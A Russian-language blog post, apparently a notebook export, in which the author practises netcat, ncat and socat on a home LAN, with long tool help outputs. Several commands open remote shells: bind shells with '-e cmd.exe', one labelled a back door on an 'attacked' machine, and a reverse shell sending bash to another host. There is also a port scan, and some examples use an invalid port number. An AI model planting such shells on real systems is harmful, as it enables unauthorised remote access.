Поиск по блогу

понедельник, 6 октября 2014 г.

NetCat or socat - Multipurpose relay (SOcket CAT)

Изучая Netcat (nc), я попробовал было загрузить для Windows какой-то левый файл, но Comodo заблокировал его, как опасный. Потом я нашел "netcat++" (extended design, new implementation) и решил было, что надо изучать его (он поддерживается). Но, кроме того, обнаружил, что netcat интегрирован в nmap... "Ncat is our modern reinvention of the venerable Netcat (nc) tool released by Hobbit in 1996" и прекрасно документирован ...и видео есть... Установил nmap на w8 и получил ncat в довесок

socat - Multipurpose relay The basics of working with Netcat - Part 1 ploaded on Sep 11, 2011

A quick tutorial of how to set up a two way connection with Netcat in order to have a text chat as well as transfer text files.
socat Mar 2014 socat - Multipurpose relay (SOcket CAT)
Download Socat for Windows
How To Use Netcat to Establish and Test TCP and UDP Connections on a VPS
NetCat Examples
nc(1) - Linux man page

The basics of working with Netcat - Part 2
Ncat Users' Guide

NetCat for Windows Tutorial 1 - Creating a Simple Back Door
NetCat for Windows Tutorial 2 - Super Fast Port Scanner

Далее повторяем примеры из видеороликов

Первый видеоролик - это тот, который выше, а справа от него среди ссылок - Part 2... и ссылки ниже. Мои комментарии к примкерам между блоками кода.

1. Посмотрели, какие у нас IP адреса

Запоминаем, в Linux - IFconfig, а в Windows IPconfig (netstat, netsh...)
In [3]:
!ifconfig
eth0      Link encap:Ethernet  HWaddr 00:1e:33:9c:7e:09  

          UP BROADCAST MULTICAST  MTU:1500  Metric:1

          RX packets:0 errors:0 dropped:0 overruns:0 frame:0

          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:1000 

          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)



lo        Link encap:Local Loopback  

          inet addr:127.0.0.1  Mask:255.0.0.0

          inet6 addr: ::1/128 Scope:Host

          UP LOOPBACK RUNNING  MTU:65536  Metric:1

          RX packets:5479 errors:0 dropped:0 overruns:0 frame:0

          TX packets:5479 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:0 

          RX bytes:5976346 (5.6 MiB)  TX bytes:5976346 (5.6 MiB)



wlan0     Link encap:Ethernet  HWaddr 00:24:d2:0e:06:3f  

          inet addr:192.168.1.51  Bcast:192.168.1.255  Mask:255.255.255.0

          inet6 addr: fe80::224:d2ff:fe0e:63f/64 Scope:Link

          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

          RX packets:141861 errors:0 dropped:0 overruns:0 frame:0

          TX packets:111830 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:1000 

          RX bytes:165838297 (158.1 MiB)  TX bytes:15711367 (14.9 MiB)




2. Прослушивае порт 6000

In []:
-l, --listen           Listen mode, for inbound connects
-p, --port=PORT        Local port
-v                     Increase program verbosity
In []:
!nc -lvp 6000
In [9]:
!echo -e "Hi, You have connected to Netcat server" | nc localhost -lpv 6000
nc: forward host lookup failed for local endpoint [unspecified] (v): Servname not supported for ai_socktype


Здесь (Ipython Notebook) эти приеры не работают, зато в двух консолях все прекрасно, вот фрагмент внизу:

In []:
# Сначала открываем первое окно консоли
~# nc -lvp 6000
nc: listening on :: 6000 ...
nc: listening on 0.0.0.0 6000 ...
nc: connect to ::1 6000 from localhost (::1) 44756 [44756]

# После того, как открыта вторая консоль можно организовать чат
Hi # Получаем
Good day
But now I can see youre answers # Получаем
That is great
In []:
# Вторая консоль передает и принимает из первой текст
~#nc localhost 6000

# Печатаем и нажимаем на Enter
Hi # Отправляем
Good day # Получаем
But now I can see youre answers
That is great # Получаем

Теперь можно перекачивать файлы (не только между консолями в одном компьютере), но и между компьютерами с разными IP

In []:
# В видеоролике консоь в окне "windows"
nc -lvp 2222 > fileshare.txt
# И другая консоль в окне Kali
nc 192.161.1.15 2222 < fromfile.txt

В одном компьютере есть файл fromfile.txt, Netcat считывает данные из него передает в слушающий Netcat на другой машине, а тот тут же выводит его в файл fileshare.txt

Напоминаю, что новый файл можно создать (командой, командой, которую я почти забыл):

In []:
touch fileshare.txt

Во втором видеоролике

In []:
# Мы в окне Windows запускаем слушателя, котрый при перехвате потока должен открыть  новое окно консоли
nc -nlv 77777 -e  cmd.exe
In []:
# Теперь, если запустить в окне Kali Netcat
nc 192.168.1.15 77777

В видеоролике окно cmd не открылось, но в окне Windows появилась строка пути... что не очень понятно, автор как-то быстро перескочил на следующий вариант, надо бы попробовать воспроизвести этот пример (пока лень ставить VM Kali на W8, я сейчас лучше включу Debian Kali и в локалке будет две невиртуальных машины..., решение не бесспорное, но так я учусь... "щупаю" реальну юсеть )...

Второй пример второго видеоролика
In []:
# Теперь на машине Windows запускается прослушка без опции -e
nc -nlv 77777
# А в окне Kali задаем соединение с условием (-e) запуска консоли bash
nc -nv 192.168.1.15 77777 -e bin/bash

После соединения в окно Windows cmd транслируется команды и результвты работы bash. (3:31 секунад видеоролика) Смотрится впечатляяюще. Можно ходить по дереву файлов. Интересно, а на выполнение их тоже можно запускать?

Третий пример второго видеоролика
In []:
# На машине Kali запускаем прослушку, которая вернет картинку
@kali:~/Desktop# nc -lvp 80 < hyundai-logo.jpg
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...

Теперь на той же машине открываем обычный браузер в строке адреса набираем:

In []:
127.0.0.1 # или IP машины ....192.168.1.51 ?

После того, как в браузере появится картинка, в консоли добавятся строки

In []:
@kali:~/Desktop# nc -lvp 80 < hyundai-logo.jpg
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...
nc: connect to 127.0.0.1 80 from localhost (127.0.0.1) 48978 [48978]
GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140611 Firefox/24.0 Iceweasel/24.6.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

nc ведет себя так же нахально, как http сервер. Первое, что я сделал, окрыл headers в браузере... и не обнаружил там Response... Действительно, посредством сокета устаналивается соединение между портами, транспортному протоколу больше ничего и не надо. У него главная проблема - это порты и переговоры по поводу длины пакетов и контроля получения. в Wireshark процесс передачи данных отражается в виде заголовка TCP

In []:
Transmission Control Protocol, Src Port: 59534 (59534), Dst Port: cognex-dataman (44444), Seq: 7, Ack: 1, Len: 19

А к этому заголовку прилагается просто данные (в которые не инкапсулированы страницы с HTTP заголовками).
Кстати, в WireShark есть специальная опция по сборке HTTP страниц из нескольких TCP пакетов...
И браузеры делают тоже самое. ...Но если вообще нет заголовков HTTP, то браузерам приходится туго (только картинки могут читать..., как в примере с hyundai-logo.jpg)

Вот так выглядят данные, пристегнутые к заголоку TCP (это строка текста This is fantastic...)

In []:
Data (19 bytes)
54:68:69:73:20:69:73:20:66:61:6e:74:61:63:74:69:73:0d:0a  

Из третьего видеоролика: NetCat for Windows Tutorial 1 - Creating a Simple Back Door

In []:
# на одной (атакуемой) машине слушаем порт
nc -l -p 53333 -e cmd.exe
# на другой запускаем netcat
nc 192,168.1.15 53333
# и в этом же окне транслируются команды консоли из первой (атакуемой) машины
In []:
Потом автор ролика создал папку в атакуемой машине, бэкдор, однако...
In [14]:
!nc -vv -n -z -w1 192.168.1.15 1-10
nc: forward host lookup failed for remote endpoint 192.168.1.15: Servname not supported for ai_socktype


In []:
#-v                     Increase program verbosity (-vv  call twice for max verbosity)
#-n                     Numeric-only IP addresses, no DNS
#-z                     Don't send any data (scan mode)
#-w, --timeout=SECONDS  Timeout for connects/accepts (w1 - 1 second timeout)

Пока не хочу разбирать, что значит "Servname not supported for ai_socktype" ... Но в дальнейшем, наверное, такая необходимость возниктет. Потому здесь распечатаем help файлы.

Справочные здесь файлы не помешают

In [4]:
!ifconfig -h
Usage:

  ifconfig [-a] [-v] [-s] <interface> [[<AF>] <address>]

  [add <address>[/<prefixlen>]]

  [del <address>[/<prefixlen>]]

  [[-]broadcast [<address>]]  [[-]pointopoint [<address>]]

  [netmask <address>]  [dstaddr <address>]  [tunnel <address>]

  [outfill <NN>] [keepalive <NN>]

  [hw <HW> <address>]  [metric <NN>]  [mtu <NN>]

  [[-]trailers]  [[-]arp]  [[-]allmulti]

  [multicast]  [[-]promisc]

  [mem_start <NN>]  [io_addr <NN>]  [irq <NN>]  [media <type>]

  [txqueuelen <NN>]

  [[-]dynamic]

  [up|down] ...



  <HW>=Hardware Type.

  List of possible hardware types:

    loop (Local Loopback) slip (Serial Line IP) cslip (VJ Serial Line IP) 

    slip6 (6-bit Serial Line IP) cslip6 (VJ 6-bit Serial Line IP) adaptive (Adaptive Serial Line IP) 

    strip (Metricom Starmode IP) ash (Ash) ether (Ethernet) 

    tr (16/4 Mbps Token Ring) tr (16/4 Mbps Token Ring (New)) ax25 (AMPR AX.25) 

    netrom (AMPR NET/ROM) rose (AMPR ROSE) tunnel (IPIP Tunnel) 

    ppp (Point-to-Point Protocol) hdlc ((Cisco)-HDLC) lapb (LAPB) 

    arcnet (ARCnet) dlci (Frame Relay DLCI) frad (Frame Relay Access Device) 

    sit (IPv6-in-IPv4) fddi (Fiber Distributed Data Interface) hippi (HIPPI) 

    irda (IrLAP) ec (Econet) x25 (generic X.25) 

    eui64 (Generic EUI-64) 

  <AF>=Address family. Default: inet

  List of possible address families:

    unix (UNIX Domain) inet (DARPA Internet) inet6 (IPv6) 

    ax25 (AMPR AX.25) netrom (AMPR NET/ROM) rose (AMPR ROSE) 

    ipx (Novell IPX) ddp (Appletalk DDP) ec (Econet) 

    ash (Ash) x25 (CCITT X.25) 


In []:
kiss@kali:~# help echo
echo: echo [-neE] [arg ...]
    Write arguments to the standard output.
    
    Display the ARGs on the standard output followed by a newline.
    
    Options:
      -n do not append a newline
      -e enable interpretation of the following backslash escapes
      -E explicitly suppress interpretation of backslash escapes
    
    `echo' interprets the following backslash-escaped characters:
      \a alert (bell)
      \b backspace
      \c suppress further output
      \e escape character
      \f form feed
      \n new line
      \r carriage return
      \t horizontal tab
      \v vertical tab
      \\ backslash
      \0nnn the character whose ASCII code is NNN (octal).  NNN can be
     0 to 3 octal digits
      \xHH the eight-bit character whose value is HH (hexadecimal).  HH
     can be one or two hex digits
    
    Exit Status:
    Returns success unless a write error occurs.
In [1]:
!netcat -h # this is the same as "!nc -h"
Usage:

 netcat [options...] hostname port

 netcat -l -p port [-s addr] [options...] [hostname] [port]



Recognized options are:

 -4                     Use only IPv4

 -6                     Use only IPv6

 -b, --bluetooth        Use Bluetooth (defaults to L2CAP protocol)

 --buffer-size=BYTES    Set buffer size

 --continuous           Continuously accept connections

                        (only in listen mode with --exec)

 --disable-nagle        Disable nagle algorithm for TCP connections

 -e, --exec=CMD         Exec command after connect

 --half-close           Handle network half-closes correctly

 -h, --help             Display help

 -l, --listen           Listen mode, for inbound connects

 --mtu=BYTES            Set MTU for network connection transmits

 -n                     Numeric-only IP addresses, no DNS

 --no-reuseaddr         Disable SO_REUSEADDR socket option

                        (only in listen mode)



 --nru=BYTES            Set NRU for network connection receives

 -p, --port=PORT        Local port

 -q, --hold-timeout=SEC1[:SEC2]

                        Set hold timeout(s) for local [and remote]

 --rcvbuf-size          Kernel receive buffer size for network sockets

 --recv-only            Only receive data, don't transmit

 -s, --address=ADDRESS  Local source address

 --sco                  Use SCO over Bluetooth

 --send-only            Only transmit data, don't receive

 --sndbuf-size          Kernel send buffer size for network sockets

 -t, --idle-timeout=SECONDS

                        Idle connection timeout

 -u, --udp              Require use of UDP

 -v                     Increase program verbosity

                        (call twice for max verbosity)

 --version              Display nc6 version information

 -w, --timeout=SECONDS  Timeout for connects/accepts

 -x, --transfer         File transfer mode

 -X, --rev-transfer     File transfer mode (reverse direction)

 -T, --ttl=TTL          TTL of outgoing IP packet

 -z                     Don't send any data (scan mode)




In [12]:
!ncat -h # from nmap.org
Ncat 6.46 ( http://nmap.org/ncat )

Usage: ncat [options] [hostname] [port]



Options taking a time assume seconds. Append 'ms' for milliseconds,

's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).

  -4                         Use IPv4 only

  -6                         Use IPv6 only

  -U, --unixsock             Use Unix domain sockets only

  -C, --crlf                 Use CRLF for EOL sequence

  -c, --sh-exec <command>    Executes the given command via /bin/sh

  -e, --exec <command>       Executes the given command

      --lua-exec <filename>  Executes the given Lua script

  -g hop1[,hop2,...]         Loose source routing hop points (8 max)

  -G <n>                     Loose source routing hop pointer (4, 8, 12, ...)

  -m, --max-conns <n>        Maximum <n> simultaneous connections

  -h, --help                 Display this help screen

  -d, --delay <time>         Wait between read/writes

  -o, --output <filename>    Dump session data to a file

  -x, --hex-dump <filename>  Dump session data as hex to a file

  -i, --idle-timeout <time>  Idle read/write timeout

  -p, --source-port port     Specify source port to use

  -s, --source addr          Specify source address to use (doesn't affect -l)

  -l, --listen               Bind and listen for incoming connections

  -k, --keep-open            Accept multiple connections in listen mode

  -n, --nodns                Do not resolve hostnames via DNS

  -t, --telnet               Answer Telnet negotiations

  -u, --udp                  Use UDP instead of default TCP

      --sctp                 Use SCTP instead of default TCP

  -v, --verbose              Set verbosity level (can be used several times)

  -w, --wait <time>          Connect timeout

      --append-output        Append rather than clobber specified output files

      --send-only            Only send data, ignoring received; quit on EOF

      --recv-only            Only receive data, never send anything

      --allow                Allow only given hosts to connect to Ncat

      --allowfile            A file of hosts allowed to connect to Ncat

      --deny                 Deny given hosts from connecting to Ncat

      --denyfile             A file of hosts denied from connecting to Ncat

      --broker               Enable Ncat's connection brokering mode

      --chat                 Start a simple Ncat chat server

      --proxy <addr[:port]>  Specify address of host to proxy through

      --proxy-type <type>    Specify proxy type ("http" or "socks4" or "socks5")

      --proxy-auth <auth>    Authenticate with HTTP or SOCKS proxy server

      --ssl                  Connect or listen with SSL

      --ssl-cert             Specify SSL certificate file (PEM) for listening

      --ssl-key              Specify SSL private key (PEM) for listening

      --ssl-verify           Verify trust and domain name of certificates

      --ssl-trustfile        PEM file containing trusted SSL certificates

      --version              Display Ncat's version information and exit



See the ncat(1) manpage for full options, descriptions and usage examples


In [2]:
!socat -h
socat by Gerhard Rieger - see www.dest-unreach.org

Usage:

socat [options] <bi-address> <bi-address>

   options:

      -V     print version and feature information to stdout, and exit

      -h|-?  print a help text describing command line options and addresses

      -hh    like -h, plus a list of all common address option names

      -hhh   like -hh, plus a list of all available address option names

      -d     increase verbosity (use up to 4 times; 2 are recommended)

      -D     analyze file descriptors before loop

      -ly[facility]  log to syslog, using facility (default is daemon)

      -lf<logfile>   log to file

      -ls            log to stderr (default if no other log)

      -lm[facility]  mixed log mode (stderr during initialization, then syslog)

      -lp<progname>  set the program name used for logging

      -lu            use microseconds for logging timestamps

      -lh            add hostname to log messages

      -v     verbose data traffic, text

      -x     verbose data traffic, hexadecimal

      -b<size_t>     set data buffer size (8192)

      -s     sloppy (continue on error)

      -t<timeout>    wait seconds before closing second channel

      -T<timeout>    total inactivity timeout in seconds

      -u     unidirectional mode (left to right)

      -U     unidirectional mode (right to left)

      -g     do not check option groups

      -L <lockfile>  try to obtain lock, or fail

      -W <lockfile>  try to obtain lock, or wait

      -4     prefer IPv4 if version is not explicitly specified

      -6     prefer IPv6 if version is not explicitly specified

   bi-address:

      pipe[,<opts>] groups=FD,FIFO

      <single-address>!!<single-address>

      <single-address>

   single-address:

      <address-head>[,<opts>]

   address-head:

      abstract-client:<filename> groups=FD,SOCKET,RETRY,UNIX

      abstract-connect:<filename> groups=FD,SOCKET,RETRY,UNIX

      abstract-listen:<filename> groups=FD,SOCKET,LISTEN,CHILD,RETRY,UNIX

      abstract-recv:<filename> groups=FD,SOCKET,RETRY,UNIX

      abstract-recvfrom:<filename> groups=FD,SOCKET,CHILD,RETRY,UNIX

      abstract-sendto:<filename> groups=FD,SOCKET,RETRY,UNIX

      create:<filename> groups=FD,REG,NAMED

      exec:<command-line> groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX

      fd:<num> groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP

      gopen:<filename> groups=FD,FIFO,CHR,BLK,REG,SOCKET,NAMED,OPEN,TERMIOS,UNIX

      interface:<interface> groups=FD,SOCKET

      ip-datagram:<host>:<protocol> groups=FD,SOCKET,RANGE,IP4,IP6

      ip-recv:<protocol> groups=FD,SOCKET,RANGE,IP4,IP6

      ip-recvfrom:<protocol> groups=FD,SOCKET,CHILD,RANGE,IP4,IP6

      ip-sendto:<host>:<protocol> groups=FD,SOCKET,IP4,IP6

      ip4-datagram:<host>:<protocol> groups=FD,SOCKET,RANGE,IP4

      ip4-recv:<protocol> groups=FD,SOCKET,RANGE,IP4

      ip4-recvfrom:<protocol> groups=FD,SOCKET,CHILD,RANGE,IP4

      ip4-sendto:<host>:<protocol> groups=FD,SOCKET,IP4

      ip6-datagram:<host>:<protocol> groups=FD,SOCKET,RANGE,IP6

      ip6-recv:<protocol> groups=FD,SOCKET,RANGE,IP6

      ip6-recvfrom:<protocol> groups=FD,SOCKET,CHILD,RANGE,IP6

      ip6-sendto:<host>:<protocol> groups=FD,SOCKET,IP6

      open:<filename> groups=FD,FIFO,CHR,BLK,REG,NAMED,OPEN,TERMIOS

      openssl:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,OPENSSL

      openssl-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP,OPENSSL

      pipe:<filename> groups=FD,FIFO,NAMED,OPEN

      proxy:<proxy-server>:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,HTTP

      pty groups=FD,NAMED,TERMIOS,PTY

      sctp-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,SCTP

      sctp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,SCTP

      sctp4-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,SCTP

      sctp4-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,SCTP

      sctp6-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP6,SCTP

      sctp6-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,SCTP

      socket-connect:<domain>:<protocol>:<remote-address> groups=FD,SOCKET,CHILD,RETRY

      socket-datagram:<domain>:<type>:<protocol>:<remote-address> groups=FD,SOCKET,RANGE

      socket-listen:<domain>:<protocol>:<local-address> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE

      socket-recv:<domain>:<type>:<protocol>:<local-address> groups=FD,SOCKET,RANGE

      socket-recvfrom:<domain>:<type>:<protocol>:<local-address> groups=FD,SOCKET,CHILD,RANGE

      socket-sendto:<domain>:<type>:<protocol>:<remote-address> groups=FD,SOCKET

      socks4:<socks-server>:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4

      socks4a:<socks-server>:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4

      stderr groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP

      stdin groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP

      stdio groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP

      stdout groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP

      system:<shell-command> groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX

      tcp-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP

      tcp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP

      tcp4-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,TCP

      tcp4-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,TCP

      tcp6-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP6,TCP

      tcp6-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,TCP

      tun:<ip-addr>/<bits> groups=FD,CHR,NAMED,OPEN,INTERFACE

      udp-connect:<host>:<port> groups=FD,SOCKET,IP4,IP6,UDP

      udp-datagram:<host>:<port> groups=FD,SOCKET,RANGE,IP4,IP6,UDP

      udp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,UDP

      udp-recv:<port> groups=FD,SOCKET,RANGE,IP4,IP6,UDP

      udp-recvfrom:<port> groups=FD,SOCKET,CHILD,RANGE,IP4,IP6,UDP

      udp-sendto:<host>:<port> groups=FD,SOCKET,IP4,IP6,UDP

      udp4-connect:<host>:<port> groups=FD,SOCKET,IP4,UDP

      udp4-datagram:<remote-address>:<port> groups=FD,SOCKET,RANGE,IP4,UDP

      udp4-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,UDP

      udp4-recv:<port> groups=FD,SOCKET,RANGE,IP4,UDP

      udp4-recvfrom:<host>:<port> groups=FD,SOCKET,CHILD,RANGE,IP4,UDP

      udp4-sendto:<host>:<port> groups=FD,SOCKET,IP4,UDP

      udp6-connect:<host>:<port> groups=FD,SOCKET,IP6,UDP

      udp6-datagram:<host>:<port> groups=FD,SOCKET,RANGE,IP6,UDP

      udp6-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP6,UDP

      udp6-recv:<port> groups=FD,SOCKET,RANGE,IP6,UDP

      udp6-recvfrom:<port> groups=FD,SOCKET,CHILD,RANGE,IP6,UDP

      udp6-sendto:<host>:<port> groups=FD,SOCKET,IP6,UDP

      unix-client:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX

      unix-connect:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX

      unix-listen:<filename> groups=FD,SOCKET,NAMED,LISTEN,CHILD,RETRY,UNIX

      unix-recv:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX

      unix-recvfrom:<filename> groups=FD,SOCKET,NAMED,CHILD,RETRY,UNIX

      unix-sendto:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX




Посты чуть ниже также могут вас заинтересовать

Комментариев нет:

Отправить комментарий